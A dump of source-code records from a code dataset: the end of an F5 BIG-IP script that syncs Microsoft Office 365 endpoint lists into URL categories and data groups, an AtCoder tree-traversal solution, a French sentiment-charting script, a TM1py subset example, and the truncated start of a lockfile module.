True\n        pass\n    elif sys.argv[1] == \"--go\":\n        pass\n    else:\n        print(\"\\nError: Unrecognized argument\\n\\n\")\n        show_help()\n\n\n    # -----------------------------------------------------------------------\n    # Check if this script is installed by looking for iFile configuration, then load up configuration variables\n    # -----------------------------------------------------------------------\n    try:\n        # Find all versions of the configuration iFile\n        o365_config = \"\"\n        entry_array = []\n        fileList = os.listdir('/config/filestore/files_d/Common_d/ifile_d/')\n        pattern = \"*o365_config.json*\"\n        for entry in fileList:\n            if fnmatch.fnmatch(entry, pattern):\n                entry_array.append(\"/config/filestore/files_d/Common_d/ifile_d/\" + entry)\n        \n        ## Find the latest version of the configuration iFile\n        if entry_array:\n           o365_config = max(entry_array, key=os.path.getctime)\n    \n        if o365_config == \"\":\n            print(\"\\nIt appears this script has not been installed yet. Aborting\\n\\nTo install this script, issue the command \\\"\" + os.path.basename(__file__) + \" --install <time>\\\"\\n\\n\")\n            show_help()\n        \n        try:\n            f = open(o365_config, \"r\")\n            f_content = f.read()\n            f.close()\n            config_data = json.loads(f_content)\n\n            # read configuration parameters from the json config\n            customer_endpoint           = config_data[\"endpoint\"]\n            service_area_common         = config_data[\"service_areas\"][\"common\"]\n            service_area_exchange       = config_data[\"service_areas\"][\"exchange\"]\n            service_area_sharepoint     = config_data[\"service_areas\"][\"sharepoint\"]\n            service_area_skype          = config_data[\"service_areas\"][\"skype\"]\n            output_url_categories       = config_data[\"outputs\"][\"url_categories\"]\n            output_url_datagroups       = config_data[\"outputs\"][\"url_datagroups\"]\n            output_ip4_datagroups       = config_data[\"outputs\"][\"ip4_datagroups\"]\n            output_ip6_datagroups       = config_data[\"outputs\"][\"ip6_datagroups\"]\n            o365_categories_all         = config_data[\"o365_categories\"][\"all\"]\n            o365_categories_optimize    = config_data[\"o365_categories\"][\"optimize\"]\n            o365_categories_default     = config_data[\"o365_categories\"][\"default\"]\n            o365_categories_allow       = config_data[\"o365_categories\"][\"allow\"]\n            only_required               = config_data[\"only_required\"]\n            excluded_urls               = config_data[\"excluded_urls\"]\n            included_urls               = config_data[\"included_urls\"]\n            excluded_ips                = config_data[\"excluded_ips\"]\n            force_o365_record_refresh   = config_data[\"system\"][\"force_refresh\"]\n            log_level                   = config_data[\"system\"][\"log_level\"]\n            ha_config                   = config_data[\"system\"][\"ha_config\"]\n            device_group                = config_data[\"system\"][\"device_group\"]\n\n        except:\n            print(\"\\nIt appears the JSON configuration file is either missing or corrupt. Run the script again with the --install <time> option to repair.\")\n            show_help()\n\n    except:\n        print(\"\\nIt appears this script has not been installed yet. Aborting\\n\\nTo install this script, issue the command \\\"\" + os.path.basename(__file__) + \" --install <time>\\\"\\n\\n\")\n        show_help()\n    \n\n    # -----------------------------------------------------------------------\n    # GUID management\n    # -----------------------------------------------------------------------\n    # Create the guid file if it doesn't exist\n    if not os.path.isdir(work_directory):\n        os.mkdir(work_directory)\n        log(1, log_level, \"Created work directory \" + work_directory + \" because it did not exist.\")\n    if not os.path.exists(file_name_guid):\n        f = open(file_name_guid, \"w\")\n        f.write(\"\\n\")\n        f.flush()\n        f.close()\n        log(1, log_level, \"Created GUID file \" + file_name_guid + \" because it did not exist.\")\n\n    # Read guid from file and validate.  Create one if not existent\n    f = open(file_name_guid, \"r\")\n    f_content = f.readline()\n    f.close()\n    if re.match('[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', f_content):\n        guid = f_content\n        log(2, log_level, \"Valid GUID is read from local file \" + file_name_guid + \".\")\n    else:\n        guid = str(uuid.uuid4())\n        f = open(file_name_guid, \"w\")\n        f.write(guid)\n        f.flush()\n        f.close()\n        log(1, log_level, \"Generated a new GUID, and saved it to \" + file_name_guid + \".\")\n\n\n    # -----------------------------------------------------------------------\n    # O365 endpoints list version check\n    # -----------------------------------------------------------------------\n    # Ensure that a local version exists\n    if os.path.isfile(file_ms_o365_version):\n        f = open(file_ms_o365_version, \"r\")\n        f_content = f.readline()\n        f.close()\n        # Check if the VERSION record format is valid\n        if re.match('[0-9]{10}', f_content):\n            ms_o365_version_previous = f_content\n            log(2, log_level, \"Valid previous VERSION found in \" + file_ms_o365_version + \".\")\n        else:\n            ms_o365_version_previous = \"1970010200\"\n            f = open(file_ms_o365_version, \"w\")\n            f.write(ms_o365_version_previous)\n            f.flush()\n            f.close()\n            log(1, log_level, \"Valid previous VERSION was not found.  Wrote dummy value in \" + file_ms_o365_version + \".\")\n    else:\n        ms_o365_version_previous = \"1970010200\"\n        f = open(file_ms_o365_version, \"w\")\n        f.write(ms_o365_version_previous)\n        f.flush()\n        f.close()\n        log(1, log_level, \"Valid previous VERSION was not found.  Wrote dummy value in \" + file_ms_o365_version + \".\")\n\n\n    # -----------------------------------------------------------------------\n    # O365 endpoints list VERSION check\n    # -----------------------------------------------------------------------\n    # Read the version of previously received records. If different than stored information, then data is assumed new/changed\n    request_string = uri_ms_o365_version + guid\n    req_string = \"https://\" + url_ms_o365_version + request_string\n    res = urllib2.urlopen(req_string)\n\n    if not res.getcode() == 200:\n        # MS O365 version request failed - abort\n        log(1, log_level, \"VERSION request to MS web service failed.  Aborting operation.\")\n        sys.exit(0)\n    else:\n        # MS O365 version request succeeded\n        log(2, log_level, \"VERSION request to MS web service was successful.\")\n        dict_o365_version = json.loads(res.read())\n\n    ms_o365_version_latest = \"\"\n    for record in dict_o365_version:\n        if record.has_key('instance'):\n            if record[\"instance\"] == customer_endpoint and record.has_key(\"latest\"):\n                latest = record[\"latest\"]\n                if re.match('[0-9]{10}', latest):\n                    ms_o365_version_latest = latest\n                    f = open(file_ms_o365_version, \"w\")\n                    f.write(ms_o365_version_latest)\n                    f.flush()\n                    f.close()\n\n    log(2, log_level, \"Previous VERSION is \" + ms_o365_version_previous)\n    log(2, log_level, \"Latest VERSION is \" + ms_o365_version_latest)\n\n\n    if force_update:\n        log(1, log_level, \"Command called with \\\"--force\\\" option. Manual update initiated.\")\n        pass\n    elif ms_o365_version_latest == ms_o365_version_previous and force_o365_record_refresh == 0:\n        log(1, log_level, \"You already have the latest MS O365 URL/IP Address list: \" + ms_o365_version_latest + \". Aborting operation.\")\n        sys.exit(0)\n\n\n    # -----------------------------------------------------------------------\n    # Request O365 endpoints list & put it in dictionaries\n    # -----------------------------------------------------------------------\n    # Make the request to fetch JSON data from Microsoft\n    request_string = \"/endpoints/\" + customer_endpoint + \"?ClientRequestId=\" + guid    \n    req_string = \"https://\" + url_ms_o365_endpoints + request_string\n    res = urllib2.urlopen(req_string)\n\n    if not res.getcode() == 200:\n        # MS O365 endpoints request failed - abort\n        log(1, log_level, \"ENDPOINTS request to MS web service failed. Aborting operation.\")\n        sys.exit(0)\n    else:\n        log(2, log_level, \"ENDPOINTS request to MS web service was successful.\")\n        dict_o365_all = json.loads(res.read())\n\n    # Process for each record(id) of the endpoint JSON data - this churns the JSON data into separate URL lists\n    for dict_o365_record in dict_o365_all:\n        service_area = str(dict_o365_record['serviceArea'])\n        id = str(dict_o365_record['id'])\n\n        if (only_required == 0) or (only_required and str(dict_o365_record['required']) == \"True\"):\n\n            if (service_area_common and service_area == \"Common\") \\\n                or (service_area_exchange and service_area == \"Exchange\") \\\n                or (service_area_sharepoint and service_area == \"SharePoint\") \\\n                or (service_area_skype and service_area == \"Skype\"):\n\n                if output_url_categories or output_url_datagroups:\n                    # Append \"urls\" if existent in each record (full list)\n                    if o365_categories_all and dict_o365_record.has_key('urls'):\n                        list_urls = list(dict_o365_record['urls'])\n                        for url in list_urls:\n                            list_urls_to_bypass.append(url)\n                        # append included_urls\n                        for url in included_urls:\n                            list_urls_to_bypass.append(url)\n\n                    # Append \"optimized\" URLs if required (optimized list)\n                    if o365_categories_optimize and dict_o365_record.has_key('urls') and dict_o365_record.has_key('category') and dict_o365_record['category'] == \"Optimize\":\n                        list_optimized_urls = list(dict_o365_record['urls'])\n                        for url in list_optimized_urls:\n                            list_optimized_urls_to_bypass.append(url)\n\n                    # Append \"default\" URLs if required (default list)\n                    if o365_categories_default and dict_o365_record.has_key('urls')and dict_o365_record.has_key('category') and dict_o365_record['category'] == \"Default\":\n                        list_default_urls = list(dict_o365_record['urls'])\n                        for url in list_default_urls:\n                            list_default_urls_to_bypass.append(url)\n\n                    # Append \"allow\" URLs if required (allow list)\n                    if o365_categories_allow and dict_o365_record.has_key('urls')and dict_o365_record.has_key('category') and dict_o365_record['category'] == \"Allow\":\n                        list_allow_urls = list(dict_o365_record['urls'])\n                        for url in list_allow_urls:\n                            list_allow_urls_to_bypass.append(url)\n\n                if output_ip4_datagroups or output_ip6_datagroups:\n                    # Append \"ips\" if existent in each record\n                    if dict_o365_record.has_key('ips'):\n                        list_ips = list(dict_o365_record['ips'])\n                        for ip in list_ips:\n                            if re.match('^.+:', ip):\n                                list_ipv6_to_pbr.append(ip)\n                            else:\n                                list_ipv4_to_pbr.append(ip)\n\n\n    # -----------------------------------------------------------------------\n    # (Re)process URLs/IPs to remove duplicates and excluded values\n    # -----------------------------------------------------------------------\n    if output_url_categories or output_url_datagroups:\n        # Remove duplicate URLs in the list (full list) and remove set of excluded URLs from the list of collected URLs\n\n        # full list\n        if o365_categories_all:\n            urls_undup = list(set(list_urls_to_bypass))\n            for x_url in excluded_urls:\n                urls_undup = [x for x in urls_undup if not x.endswith(x_url)]\n\n        # optimized list \n        if o365_categories_optimize:\n            urls_optimized_undup = list(set(list_optimized_urls_to_bypass))\n            for x_url in excluded_urls:\n                urls_optimized_undup = [x for x in urls_optimized_undup if not x.endswith(x_url)]\n\n        # default list\n        if o365_categories_default:\n            urls_default_undup = list(set(list_default_urls_to_bypass))\n            for x_url in excluded_urls:\n                urls_default_undup = [x for x in urls_default_undup if not x.endswith(x_url)]\n\n        # allow list\n        if o365_categories_allow:\n            urls_allow_undup = list(set(list_allow_urls_to_bypass))\n            for x_url in excluded_urls:\n                urls_allow_undup = [x for x in urls_allow_undup if not x.endswith(x_url)]\n\n\n    if output_ip4_datagroups or output_ip6_datagroups:\n        # Remove duplicate IPv4 addresses in the list\n        ipv4_undup = list(set(list_ipv4_to_pbr))\n\n        ## Remove set of excluded IPv4 addresses from the list of collected IPv4 addresses\n        for x_ip in excluded_ips:\n            ipv4_undup = [x for x in ipv4_undup if not x.endswith(x_ip)]\n\n        # Remove duplicate IPv6 addresses in the list\n        ipv6_undup = list(set(list_ipv6_to_pbr))\n\n        ## Remove set of excluded IPv6 addresses from the list of collected IPv6 addresses\n        for x_ip in excluded_ips:\n            ipv6_undup = [x for x in ipv6_undup if not x.endswith(x_ip)]\n\n    if not o365_categories_all:\n        urls_undup = []\n    if not output_ip4_datagroups:\n        ipv4_undup = []\n    if not output_ip6_datagroups:\n        ipv6_undup = []\n    log(1, log_level, \"Number of unique ENDPOINTS to import : URL:\" + str(len(urls_undup)) + \", IPv4 host/net:\" + str(len(ipv4_undup)) + \", IPv6 host/net:\" + str(len(ipv6_undup)))\n\n\n    # -----------------------------------------------------------------------\n    # O365 endpoint URLs re-formatted to fit into custom URL categories and/or data groups\n    # -----------------------------------------------------------------------\n    # This generates the temp files, data groups, and URL categories\n    if output_url_categories or output_url_datagroups:\n\n        if output_url_categories:\n            if o365_categories_all:\n                create_url_categories (o365_category, urls_undup, ms_o365_version_latest)\n\n            if o365_categories_optimize:\n                create_url_categories (o365_category_optimized, urls_optimized_undup, ms_o365_version_latest)\n\n            if o365_categories_default:\n                create_url_categories (o365_category_default, urls_default_undup, ms_o365_version_latest)\n\n            if o365_categories_allow:\n                create_url_categories (o365_category_allow, urls_allow_undup, ms_o365_version_latest)\n\n        if output_url_datagroups:\n            if o365_categories_all:\n                create_url_datagroups (o365_dg, urls_undup)\n\n            if o365_categories_optimize:\n                create_url_datagroups (o365_dg_optimize, urls_optimized_undup)\n\n            if o365_categories_default:\n                create_url_datagroups (o365_dg_default, urls_default_undup)\n\n            if o365_categories_allow:\n                create_url_datagroups (o365_dg_allow, urls_allow_undup)\n\n    if output_ip4_datagroups or output_ip6_datagroups:\n        if output_ip4_datagroups:\n            create_ip_datagroups (o365_dg_ipv4, ipv4_undup)\n\n        if output_ip6_datagroups:\n            create_ip_datagroups (o365_dg_ipv6, ipv6_undup)\n\n\n    log(1, log_level, \"Completed O365 URL/IP address update process.\")\n\n\ndef create_url_categories (url_file, url_list, version_latest):\n    # Initialize the url string\n    str_urls_to_bypass = \"\"\n\n    # Create new or clean out existing URL category - add the latest version as first entry\n    result = commands.getoutput(\"tmsh list sys application service o365_update.app/o365_update\")\n    if \"was not found\" in result:\n        result2 = commands.getoutput(\"tmsh create sys application service o365_update traffic-group traffic-group-local-only device-group none\")\n        log(2, log_level, \"Application service not found. Creating o365_update.app/o365_update\")\n    \n    result = commands.getoutput(\"tmsh list sys url-db url-category o365_update.app/\" + url_file)\n    if \"was not found\" in result:\n        result2 = commands.getoutput(\"tmsh create /sys url-db url-category \" + url_file + \" display-name \" + url_file + \" app-service o365_update.app/o365_update urls replace-all-with { https://\" + version_latest + \"/ { type exact-match } } default-action allow\")\n        log(2, log_level, \"O365 custom URL category (\" + url_file + \") not found. Created new O365 custom category.\")\n    else:\n        result2 = commands.getoutput(\"tmsh modify /sys url-db url-category \" + url_file + \" app-service o365_update.app/o365_update urls replace-all-with { https://\" + version_latest + \"/ { type exact-match } }\")\n        log(2, log_level, \"O365 custom URL category (\" + url_file + \") exists. Clearing entries for new data.\")\n    \n    # Loop through URLs and insert into URL category    \n    for url in url_list:\n        # Force URL to lower case\n        url = url.lower()\n\n        # If URL starts with an asterisk, set as a glob-match URL, otherwise exact-match. Send to a string.\n        if ('*' in url):\n            # Escaping any asterisk characters\n            url_processed = re.sub('\\*', '\\\\*', url)\n            str_urls_to_bypass = str_urls_to_bypass + \" urls add { \\\"https://\" + url_processed + \"/\\\" { type glob-match } } urls add { \\\"http://\" + url_processed + \"/\\\" { type glob-match } }\"\n        else:\n            str_urls_to_bypass = str_urls_to_bypass + \" urls add { \\\"https://\" + url + \"/\\\" { type exact-match } } urls add { \\\"http://\" + url + \"/\\\" { type exact-match } }\"\n\n    # Import the URL entries\n    result = commands.getoutput(\"tmsh modify /sys url-db url-category \" + url_file + \" app-service o365_update.app/o365_update\" + str_urls_to_bypass)\n\n\ndef create_url_datagroups (url_file, url_list):\n    # Write data to a file for import into data group\n    fout = open(work_directory + url_file, 'w')\n    for url in (list(sorted(set(url_list)))):\n        # Replace any asterisk characters with a dot\n        url_processed = re.sub('\\*', '', url)\n        fout.write(\"\\\"\" + str(url_processed.lower()) + \"\\\" := \\\"\\\",\\n\")\n    fout.flush()\n    fout.close()\n\n    # Create URL data group files in TMSH if they don't already exist\n    result = commands.getoutput(\"tmsh list sys application service o365_update.app/o365_update\")\n    if \"was not found\" in result:\n        result2 = commands.getoutput(\"tmsh create sys application service o365_update traffic-group traffic-group-local-only device-group none\")\n        log(2, log_level, \"Application service not found. Creating o365_update.app/o365_update\")\n\n    result = commands.getoutput(\"tmsh list /sys file data-group o365_update.app/\" + url_file)\n    if \"was not found\" in result:\n        # Create (sys) external data group\n        result2 = commands.getoutput(\"tmsh create /sys file data-group o365_update.app/\" + url_file + \" separator \\\":=\\\" source-path file:\" + work_directory + url_file + \" type string\")\n        # Create (ltm) link to external data group\n        result3 = commands.getoutput(\"tmsh create /ltm data-group external o365_update.app/\" + url_file + \" external-file-name o365_update.app/\" + url_file)\n        log(2, log_level, \"O365 URL data group (\" + url_file + \") not found. Created new data group.\")\n    else:\n        # Update (sys) external data group\n        result2 = commands.getoutput(\"tmsh modify /sys file data-group o365_update.app/\" + url_file + \" source-path file:\" + work_directory + url_file)\n        # Update (ltm) link to external data group\n        result3 = commands.getoutput(\"tmsh create /ltm data-group external o365_update.app/\" + url_file + \" external-file-name o365_update.app/\" + url_file)\n        log(2, log_level, \"O365 URL data group (\" + url_file + \") exists. Updated existing data group.\")\n\n    os.remove(work_directory + url_file)\n\n\ndef create_ip_datagroups (url_file, url_list):\n    # Write data to a file for import into data group\n    fout = open(work_directory + url_file, 'w')\n    for ip in (list(sorted(url_list))):\n        fout.write(\"network \" + str(ip) + \",\\n\")\n    fout.flush()\n    fout.close()\n\n    # Create URL data group files in TMSH if they don't already exist\n    result = commands.getoutput(\"tmsh list sys application service o365_update.app/o365_update\")\n    if \"was not found\" in result:\n        result2 = commands.getoutput(\"tmsh create sys application service o365_update traffic-group traffic-group-local-only device-group none\")\n        log(2, log_level, \"Application service not found. Creating o365_update.app/o365_update\")\n\n    result = commands.getoutput(\"tmsh list /sys file data-group o365_update.app/\" + url_file)\n    if \"was not found\" in result:\n        result2 = commands.getoutput(\"tmsh create /sys file data-group o365_update.app/\" + url_file + \" source-path file:\" + work_directory + url_file + \" type ip\")\n        result3 = commands.getoutput(\"tmsh create /ltm data-group external o365_update.app/\" + url_file + \" external-file-name o365_update.app/\" + url_file)\n        log(2, log_level, \"O365 IPv4 data group (\" + url_file + \") not found. Created new data group.\")\n    else:\n        result2 = commands.getoutput(\"tmsh modify /sys file data-group o365_update.app/\" + url_file + \" source-path file:\" + work_directory + url_file)\n        result3 = commands.getoutput(\"tmsh create /ltm data-group external o365_update.app/\" + url_file + \" external-file-name o365_update.app/\" + url_file)\n        log(2, log_level, \"O365 IPv4 data group (\" + url_file + \") exists. Updated existing data group.\")\n\n    os.remove(work_directory + url_file)\n\n\ndef script_install ():\n    if len(sys.argv) == 3:\n        try:\n            interval = int(sys.argv[2])\n        except:\n            print(\"\\nError: Time parameter is not a valid integer\")\n            show_help()\n    else:\n        print(\"\\nError: Time parameter is missing\")\n        show_help()\n\n    print(\"\\nInstallation in progress\")\n    # Create the working directory if it doesn't already exit\n    if not os.path.isdir(work_directory):\n        os.mkdir(work_directory)\n        print(\"..Working directory created: \" + work_directory)\n    \n    # Copy script to the working directory\n    os.system('cp -f ' + os.path.basename(__file__) + ' ' + work_directory + 'sslo_o365_update.py')\n    print(\"..Script copied to working directory: sslo_o365_update.py\")\n\n    # Dump JSON config to a temporary file\n    json_config_data = {\n        \"endpoint\": \"Worldwide\",\n        \"service_areas\": {\n            \"common\": True,\n            \"exchange\": True,\n            \"sharepoint\": True,\n            \"skype\": True\n        },\n        \"outputs\": {\n            \"url_categories\": True,\n            \"url_datagroups\": True,\n            \"ip4_datagroups\": True,\n            \"ip6_datagroups\": True\n        },\n        \"o365_categories\": {\n            \"all\": True,\n            \"optimize\": True,\n            \"default\": True,\n            \"allow\": True\n        },\n        \"only_required\": True,\n        \"excluded_urls\": [\n            \".symcd.com\",\n            \".symcb.com\",\n            \".entrust.net\",\n            \".digicert.com\",\n            \".identrust.com\",\n            \".verisign.net\",\n            \".globalsign.net\",\n            \".globalsign.com\",\n            \".geotrust.com\",\n            \".omniroot.com\",\n            \".letsencrypt.org\",\n            \".public-trust.com\",\n            \"platform.linkedin.com\"\n        ],\n        \"included_urls\": [],\n        \"excluded_ips\": [],\n        \"system\": {\n            \"force_refresh\": False,\n            \"log_level\": 1,\n            \"ha_config\": 0,\n            \"device_group\": \"device-group-1\"\n        }\n    }\n    # Serialize JSON data\n    json_config = json.dumps(json_config_data, indent = 4)\n    \n    # Write to a temporary file\n    with open(work_directory + \"config.json\", \"w\") as outfile:\n        outfile.write(json_config)\n\n    # Create the ifile configuration\n    result = commands.getoutput(\"tmsh create sys file ifile o365_config.json source-path file:\" + work_directory + \"config.json\")\n    if \"already exists\" in result:\n        # Overwrite existing content\n        result = commands.getoutput(\"tmsh modify sys file ifile o365_config.json source-path file:\" + work_directory + \"config.json\")\n    os.remove(work_directory + \"config.json\")\n    print(\"..Configuration iFile created: o365_config.json\")\n\n    # Create the iCall script\n    result = commands.getoutput(\"tmsh create sys icall script sslo_o365_update\")\n    result = commands.getoutput(\"tmsh modify sys icall script sslo_o365_update definition { catch { exec /bin/python \" + work_directory + \"sslo_o365_update.py --go } }\")\n    print(\"..iCall script created: sslo_o365_update\")\n\n    # Create the iCall periodic handler\n    result = commands.getoutput(\"tmsh create sys icall handler periodic sslo_o365_update_handler script sslo_o365_update interval \" + sys.argv[2])\n    if \"already exists\" in result:\n        # Overwrite existing content\n        result = commands.getoutput(\"tmsh modify sys icall handler periodic sslo_o365_update_handler script sslo_o365_update interval \" + sys.argv[2])\n    print(\"..Periodic script handler created and set to \" + sys.argv[2] + \" seconds\")\n\n    print(\"..Installation complete\")\n    sys.exit(0)\n\n\ndef script_uninstall ():\n    print(\"\\nUninstall in progress - note that this utility will not remove files in the working directory, or any existing URL categories or data groups.\")\n\n    # Delete the iCall periodic handler\n    result = commands.getoutput(\"tmsh delete sys icall handler periodic sslo_o365_update_handler\")\n    print(\"..Periodic script handler deleted\")\n\n    # Delete the iCall script\n    result = commands.getoutput(\"tmsh delete sys icall script sslo_o365_update\")\n    print(\"..iCall script deleted\")\n\n    # Delete the configuration iFile\n    result = commands.getoutput(\"tmsh delete sys file ifile o365_config.json\")\n    print(\"..Configuration iFile deleted\")\n\n    print(\"..Uninstall complete\")\n    sys.exit(0)\n\n\ndef show_help ():\n    print(\"Office 365 URL Management Script. Version: \" + version)\n    print(\"\\nCommand line options for this application are:\\n\")\n    print(\"-h                   -> Show this help\\n\")\n    print(\"--install <time>     -> Install the script and environment, and set script run time in seconds (ex. 3600 sec = 1 hr)\\n\")\n    print(\"--uninstall          -> Uninstall the script and environment\\n\")\n    print(\"--force              -> Force a manual update\\n\")\n    print(\"--go                 -> Run this script\\n\\n\")\n    sys.exit(0)\n\n\nif __name__=='__main__':\n    main()\n","sub_path":"sslo_o365_update.py","file_name":"sslo_o365_update.py","file_ext":"py","file_size_in_byte":37256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"76875220","text":"import sys\nsys.setrecursionlimit(10 ** 8)\n\nn, q = map(int, input().split())\ntree = [[] for i in range(n)]\n\nfor _ in range(n-1):\n    a, b = map(int, input().split())\n    tree[a-1].append(b-1)\n    tree[b-1].append(a-1)\n\npoint = [0 for i in range(n)]\n\nfor _ in range(q):\n    p, x = map(int, input().split())\n    point[p-1] += x\n\nseen = [False] * n\n\ndef dfs(x, val):\n    global point\n    global seen \n    global tree\n\n    if seen[x]:\n        return\n\n    seen[x] = True\n    point[x] += val\n    for i in tree[x]:\n        dfs(i, point[x])\n\ndfs(0, 0)\n\nprint(\" \".join(list(map(str, point))))\n","sub_path":"contest/abc138/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"501778088","text":"from itertools import combinations\n\nfrom textblob import Blobber\nfrom textblob_fr import PatternTagger, PatternAnalyzer\nimport matplotlib.pyplot as plt\nimport nltk\nimport numpy as np\nimport spacy\n\nnlp = spacy.load('fr_core_news_sm')\n\n\ndef get_list_of_sentences_with_word_and_context(text, word, width=256):\n    return text.concordance_list(word, width)\n\n\ndef get_sentiment_from_sentence(sentence):\n    tb = Blobber(pos_tagger=PatternTagger(), analyzer=PatternAnalyzer())\n\n    input_text = sentence.line\n    blob = tb(input_text)\n    pola, subj = blob.sentiment\n    perc = f\"{100*abs(pola):.0f}\"\n    if pola > 0:\n        sent = \"positive\"\n    elif pola < 0:\n        sent = \"negative\"\n    else:\n        sent = \"neutral\"\n\n    sentiment = {\n        'pola': pola,\n        'perc': perc,\n        'sent': sent\n    }\n\n    return sentiment\n\n\ndef pie_chart_label(pct, allvals):\n    absolute = int(round(pct / 100. * np.sum(allvals)))\n    return \"{:.1f}%\\n({:d})\".format(pct, absolute)\n\n\ndef generate_pie_chart(sizes, labels):\n    fig1, ax1 = plt.subplots()\n    ax1.pie(\n        sizes,\n        labels=labels,\n        autopct=lambda pct: pie_chart_label(pct, sizes),\n        shadow=True,\n        startangle=90\n    )\n    ax1.axis('equal')\n    plt.savefig('pie_chart.png')\n\n\ndef generate_bar_chart(sentiments):\n    labels = sentiments.keys()\n    x = np.arange(len(labels))\n    width = 0.20\n\n    positives = []\n    negatives = []\n    for word in labels:\n        positives.append(sentiments[word]['positive'])\n        negatives.append(sentiments[word]['negative'])\n\n    fig, ax = plt.subplots()\n    rects1 = ax.bar(x - width / 2, positives, width, label='Positives')\n    rects2 = ax.bar(x + width / 2, negatives, width, label='Negatives')\n\n    ax.set_ylabel('Count')\n    ax.set_title('Count by word and sentiment')\n    ax.set_xticks(x)\n    ax.set_xticklabels(labels)\n    plt.setp(ax.get_xticklabels(), rotation=30, horizontalalignment='right')\n    ax.legend()\n    ax.bar_label(rects1, padding=3)\n    ax.bar_label(rects2, padding=3)\n    plt.savefig('bar_chart.png')\n\n\npath_all_text = \"../data/all.txt\"\npath_lexical_field = 'lexical_field.txt'\nlimit = 10**7\n\nwith open(path_lexical_field) as f:\n    lexical_field = f.read().splitlines()\n\nwith open(path_all_text) as f:\n    full_text = f.read()\n\n\ncontexts = {}\nindexes = list(range(0, len(full_text), limit))\n\n# Filter to avoid parsing the whole text, it's too big\nindexes = indexes[0:3]\n\n# Parse through chunks of the file and gather sentences which are in the\n# lexical field (with context)\nfor pair in combinations(indexes, 2):\n    text = full_text[pair[0]:pair[1]]\n    tokens = nltk.word_tokenize(text)\n    nltk_text = nltk.Text(tokens)\n    for word in lexical_field:\n        if word not in contexts.keys():\n            contexts[word] = get_list_of_sentences_with_word_and_context(\n                nltk_text, word\n            )\n        else:\n            contexts[word] += get_list_of_sentences_with_word_and_context(\n                nltk_text, word\n            )\n\n\nsentiments_per_word = {}\ntotal_positives = 0\ntotal_negatives = 0\ntotal_neutrals = 0\n\nfor word, list_of_sentences in contexts.items():\n    sentiments_per_word[word] = {\n        'total': 0,\n        'positive': 0,\n        'negative': 0,\n        'neutral': 0,\n    }\n\n    for sentence in list_of_sentences:\n        sentiment = get_sentiment_from_sentence(sentence)\n\n        if sentiment['sent'] == 'positive':\n            sentiments_per_word[word]['positive'] += 1\n            total_positives += 1\n        if sentiment['sent'] == 'negative':\n            sentiments_per_word[word]['negative'] += 1\n            total_negatives += 1\n        else:\n            sentiments_per_word[word]['neutral'] += 1\n            total_neutrals += 1\n        sentiments_per_word[word]['total'] += 1\n\n\n# Generate pie chart with total count of positive, negative and neutral\n# sentences related to the lexical field\nsizes = [total_positives, total_negatives, total_neutrals]\nlabels = 'Positives', 'Negatives', 'Neutrals'\ngenerate_pie_chart(sizes, labels)\n\nclean_sentiments_per_word = {}\n\nfor word, sentiments in sentiments_per_word.items():\n    if sentiments['total'] != 0:\n        clean_sentiments_per_word[word] = sentiments\n\n# Generate bar chart with positive and negative count per word, for analysis\ngenerate_bar_chart(clean_sentiments_per_word)\n","sub_path":"tp4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"7739616","text":"import uuid\nfrom TM1py import Subset, TM1pyQueries as TM1, TM1pyLogin\n\nlogin = TM1pyLogin.native('admin', 'apple')\n\nwith TM1(ip='', port=8001, login=login, ssl=False) as tm1:\n    subset_name = str(uuid.uuid4())\n\n    # create subset\n    s = Subset(dimension_name='Plan_Department', subset_name=subset_name, alias='', elements=['200', '405', '410'])\n    tm1.create_subset(s, True)\n\n    # get it and print out the elements\n    s = tm1.get_subset(dimension_name='Plan_Department', subset_name=subset_name, private=True)\n    print(s.elements)\n\n    # delete it\n    tm1.delete_subset(dimension_name='Plan_Department', subset_name=subset_name , private=True)\n\n","sub_path":"Samples/Subset/create subset.py","file_name":"create subset.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"216495224","text":"# -*- coding: utf-8 -*-\n\n#\n# mbstats\n#\n# Tails a log and applies mbstats parser, then reports metrics to InfluxDB\n#\n# Usage:\n#\n# $ mbstats [options]\n#\n# Help:\n#\n# $ mbstats -h\n#\n#\n# Copyright 2016-2023, MetaBrainz Foundation\n# Author: Laurent Monin\n#\n# mbstats is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# mbstats is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Logster. If not, see <http://www.gnu.org/licenses/>.\n#\n# Include bits of code from Etsy Logster\n# https://github.com/etsy/logster\n#\n# Logster itself was forked from the ganglia-logtailer project\n# (http://bitbucket.org/maplebed/ganglia-logtailer):\n# Copyright Linden Research, Inc. 2008\n# Released under the GPL v2 or later.\n# For a full description of the license, please visit\n# http://www.gnu.org/licenses/gpl.txt\n#\n\nimport fcntl\nimport os.path\nimport platform\n\n\ntry:\n    import portalocker\n    has_portalocker = True\nexcept ImportError:\n    has_portalocker = False\n\n\nclass LockingError(Exception):\n    \"\"\" Exception raised for errors creating or destroying lockfiles. \"\"\"\n\n\nclass Locker:\n\n    def __init__(self, lockfile_path, lock_type='fcntl', logger=None):\n        self.lockfile_path = lockfile_path\n        self.lock_type = lock_type\n        self.logger = logger\n        self.logfile_fd = None\n        self.lock()\n\n    def lock(self):\n        \"\"\" Acquire a lock via a provided lockfile filename. \"\"\"\n        if os.path.exists(self.lockfile_path):\n            raise LockingError(\"Lock file (%s) already exists.\" % self.lockfile_path)\n\n        try:\n            self.lockfile_fd = open(self.lockfile_path, 'w')\n        except Exception as e:\n            raise LockingError(\"Lock file (%s) creation failed: %s\" %\n                               (self.lockfile_path, e))\n\n        if has_portalocker and self.lock_type == 'portalocker':\n            try:\n                portalocker.lock(self.lockfile_fd, portalocker.LOCK_EX | portalocker.LOCK_NB)\n                